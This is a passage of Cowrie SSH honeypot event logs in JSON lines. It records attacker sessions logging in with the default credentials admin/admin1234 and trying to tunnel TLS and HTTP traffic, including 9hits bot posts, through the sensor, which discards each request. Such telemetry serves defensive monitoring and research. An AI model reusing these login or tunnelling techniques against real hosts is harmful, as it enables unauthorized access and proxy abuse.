aaK7JhCgxXMvO1EURiAK8kFZhJOZvooQLFd%2BFK6gzJqsA6cw3OLs76WdH1nz2i4aToeygoulr5pNNMJKE4e7sUwkjNtyhMvIp%2FB7B%2BYh%2BhSaUf6mpZY5H1cSor3sVdY1ogk8RHV8CgI31Kqy2ZTKEph225NB0IF4EoFqYH%2BVXPwrIOxdLua5xuybRudDOms6A4lLTjNhRpMq3TJRDYxCZ65%2Byxy4YeT%2B%2FDgy9Rft'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:53.936599Z","src_ip":"113.164.152.20","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:53.939976Z","src_ip":"113.164.152.20","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xff\\x0b\\x8e>\\x92P\\x96I\\x89\\x94\\xc6&]\\xb2\\xe9\\x90\\x94&\\xda\\xf9\\x08_:\\xe2\\x157\\x87#XJ\\xcbF J\\xb0_J!u2\\xfe\\xf6bx@Y2\\x01\\xd3\\xffS\\x00\\xab\\xb3\\xb7*g\\x04\\x9a\\x84\\x90\\xfb%\\xd8\\xd7\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcaDvp\\x9a\\xc8!\\xd7U\\xfe}\\xc2\\x7f\\xb5\\xe3\\x92\\x06\\x87\\xab\\xd4\\x7f\\t\\x0fS&'\\x17\\xc2\\xee\\xa4\\xc3#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xff\\x0b\\x8e>\\x92P\\x96I\\x89\\x94\\xc6&]\\xb2\\xe9\\x90\\x94&\\xda\\xf9\\x08_:\\xe2\\x157\\x87#XJ\\xcbF J\\xb0_J!u2\\xfe\\xf6bx@Y2\\x01\\xd3\\xffS\\x00\\xab\\xb3\\xb7*g\\x04\\x9a\\x84\\x90\\xfb%\\xd8\\xd7\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcaDvp\\x9a\\xc8!\\xd7U\\xfe}\\xc2\\x7f\\xb5\\xe3\\x92\\x06\\x87\\xab\\xd4\\x7f\\t\\x0fS&'\\x17\\xc2\\xee\\xa4\\xc3#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:53.943722Z","src_ip":"113.164.152.20","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:54.227544Z","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:54.505741Z","src_ip":"113.164.152.20","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03c\\xb5\\xab\\tg\\x96v\\xfc\\xf7\\xf7\\x99_\\xa8\\xe1\\x1au\\xc2\\x8e01\\x8c\\x88\\xcaZ\\xe5\\xcb\\xb6\\xae`\\xe6\\xfeR \\xb4aK\\xd4[\\x8d\\x11\\x84\\x07h{z47p\\x94\\x12\\xd5rbU\\x80s\\xd0\\x84\\xe7\\xe6\\xef\\'Y\\x18\\x06\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc32\\\\\\xce\\xb3[\\xfd\\xd6\\x87\\xb5M\\xf2\\xb3~\\x19\\xcd\\xe2P\\x17\\xaf\\xd3\\xcc\\xb4\\xac\\xc2\\xe6N\\x9f\\xe5\\x97\\x84U\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03c\\xb5\\xab\\tg\\x96v\\xfc\\xf7\\xf7\\x99_\\xa8\\xe1\\x1au\\xc2\\x8e01\\x8c\\x88\\xcaZ\\xe5\\xcb\\xb6\\xae`\\xe6\\xfeR \\xb4aK\\xd4[\\x8d\\x11\\x84\\x07h{z47p\\x94\\x12\\xd5rbU\\x80s\\xd0\\x84\\xe7\\xe6\\xef\\'Y\\x18\\x06\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc32\\\\\\xce\\xb3[\\xfd\\xd6\\x87\\xb5M\\xf2\\xb3~\\x19\\xcd\\xe2P\\x17\\xaf\\xd3\\xcc\\xb4\\xac\\xc2\\xe6N\\x9f\\xe5\\x97\\x84U\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:54.508721Z","src_ip":"113.164.152.20","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:54.873247Z","src_ip":"113.164.152.20","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50914,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f8c1027b955","protocol":"ssh","message":"New connection: 123.27.168.40:50914 (10.17.0.5:22) [session: 9f8c1027b955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:09.504894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:09.509897Z","src_ip":"123.27.168.40","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:09.829413Z","src_ip":"123.27.168.40","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:11.042325Z","src_ip":"123.27.168.40","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:11.439975Z","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:11.503027Z","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:11.687060Z","src_ip":"123.27.168.40","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Mobile/19B74 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=KHcyfklhcU9scSNFaE9Fag%3D%3DAP%2F1%2F%2FmlsYLDS8ZUbw4ndDpuSGPrwu5jIqu2504vHIikp1ir2K76iUVDxgg7ZerX9gWryVjwRGabx8PoPBG4NzKXgFCD5BxbH8yKXC14UGemmerKl6ZJUyiHCM5Lx%2Fl7ffXbfnEmdm1YKaRez3x6xUrEB6DzXqOwc6IjXIihsg4GHy6veIB%2F%2F5Kh8vrQki3aA%2FWtg4CLAtLC8o9Y%2Fj6VjCRhBTy3Hqx6MlWQ9tLQ8tZFuQ1XKH7tRi%2Bj%2BHPR%2B4MpVh%2FebZ2UbxYuXxS8nY%2FaNL2TzwZtSlctZ2CuOehOn9F3O%2Fgzr49oZnnrDztz2N9VXuIFBKR3qtmQ3BxPrn0p5GYDRt1VpIfFBtOCo0CtG87Vej4pOvzCYJ%2Fb3hdOmH5QZ%2FgECD7fLoOyXHzV3%2BrWRPLdEmGvYiezN16yXTlG7%2BMaxwOAFiUc%2Fon1krRj7V2kDTzEI42nJXQg4n9aBjzJ952%2F31Gku1fopw8CYDGwWCZ0hogrnCKYES00YqrQdi8bE9rLAIauvAdZKgzB6wUVB2r3yQCXV5JjFoP2j0KBHhTbh1GB4KgoQXdteXihRud2WL1S7mx6ox8YyP1KBhY92mr%2FWuS%2F6zQL%2Bo3MUD4wevwu17Z4cr7gv3b2KVU78frKNXvTX3ShFAMRM2nDrk57ixCJ%2Bo9I0H%2B5fW9EWgy6neX%2BjNELUcw8myQr6LN1gv6faLm9yl4lbfyQUiWDNB1kVQvmmNvkcsffQf%2FtEYHG1ZNcwN30VZ%2FW8idvYp4yrlKBWupjtl1waQ0%2Ba1D3lt9EI676gJqiUKoS2agLAFjvYM35XldyHsbCXSjoSuIFQynUTI5VQpKcvCaWWFVotkHO7jE9BB6DRryXcLpW0b9sN2n90DZ77phome2%2Be%2Foa%2BMgAxgEVO4GO5IWxDPM%2Bx1JH%2FwvuCj2zKlswgQgVw4s9TFvaEC2hELat0lhJjaE5biXeBYkAXqxkxVIDwI0ZmPwvEPlT5xE9A20alsRlTvrQ1tPoXnhVL7f4%2F4RwP16E88YT97GtkeCDK1jl4m0stdUqfnnS027wr3L4iL58HulZagpWSpo4uU6JEq2bhsC9QlLw'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Mobile/19B74 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=KHcyfklhcU9scSNFaE9Fag%3D%3DAP%2F1%2F%2FmlsYLDS8ZUbw4ndDpuSGPrwu5jIqu2504vHIikp1ir2K76iUVDxgg7ZerX9gWryVjwRGabx8PoPBG4NzKXgFCD5BxbH8yKXC14UGemmerKl6ZJUyiHCM5Lx%2Fl7ffXbfnEmdm1YKaRez3x6xUrEB6DzXqOwc6IjXIihsg4GHy6veIB%2F%2F5Kh8vrQki3aA%2FWtg4CLAtLC8o9Y%2Fj6VjCRhBTy3Hqx6MlWQ9tLQ8tZFuQ1XKH7tRi%2Bj%2BHPR%2B4MpVh%2FebZ2UbxYuXxS8nY%2FaNL2TzwZtSlctZ2CuOehOn9F3O%2Fgzr49oZnnrDztz2N9VXuIFBKR3qtmQ3BxPrn0p5GYDRt1VpIfFBtOCo0CtG87Vej4pOvzCYJ%2Fb3hdOmH5QZ%2FgECD7fLoOyXHzV3%2BrWRPLdEmGvYiezN16yXTlG7%2BMaxwOAFiUc%2Fon1krRj7V2kDTzEI42nJXQg4n9aBjzJ952%2F31Gku1fopw8CYDGwWCZ0hogrnCKYES00YqrQdi8bE9rLAIauvAdZKgzB6wUVB2r3yQCXV5JjFoP2j0KBHhTbh1GB4KgoQXdteXihRud2WL1S7mx6ox8YyP1KBhY92mr%2FWuS%2F6zQL%2Bo3MUD4wevwu17Z4cr7gv3b2KVU78frKNXvTX3ShFAMRM2nDrk57ixCJ%2Bo9I0H%2B5fW9EWgy6neX%2BjNELUcw8myQr6LN1gv6faLm9yl4lbfyQUiWDNB1kVQvmmNvkcsffQf%2FtEYHG1ZNcwN30VZ%2FW8idvYp4yrlKBWupjtl1waQ0%2Ba1D3lt9EI676gJqiUKoS2agLAFjvYM35XldyHsbCXSjoSuIFQynUTI5VQpKcvCaWWFVotkHO7jE9BB6DRryXcLpW0b9sN2n90DZ77phome2%2Be%2Foa%2BMgAxgEVO4GO5IWxDPM%2Bx1JH%2FwvuCj2zKlswgQgVw4s9TFvaEC2hELat0lhJjaE5biXeBYkAXqxkxVIDwI0ZmPwvEPlT5xE9A20alsRlTvrQ1tPoXnhVL7f4%2F4RwP16E88YT97GtkeCDK1jl4m0stdUqfnnS027wr3L4iL58HulZagpWSpo4uU6JEq2bhsC9QlLw'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:11.692883Z","src_ip":"123.27.168.40","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:11.927930Z","src_ip":"123.27.168.40","session":"9f8c1027b955","protocol":"ssh"}
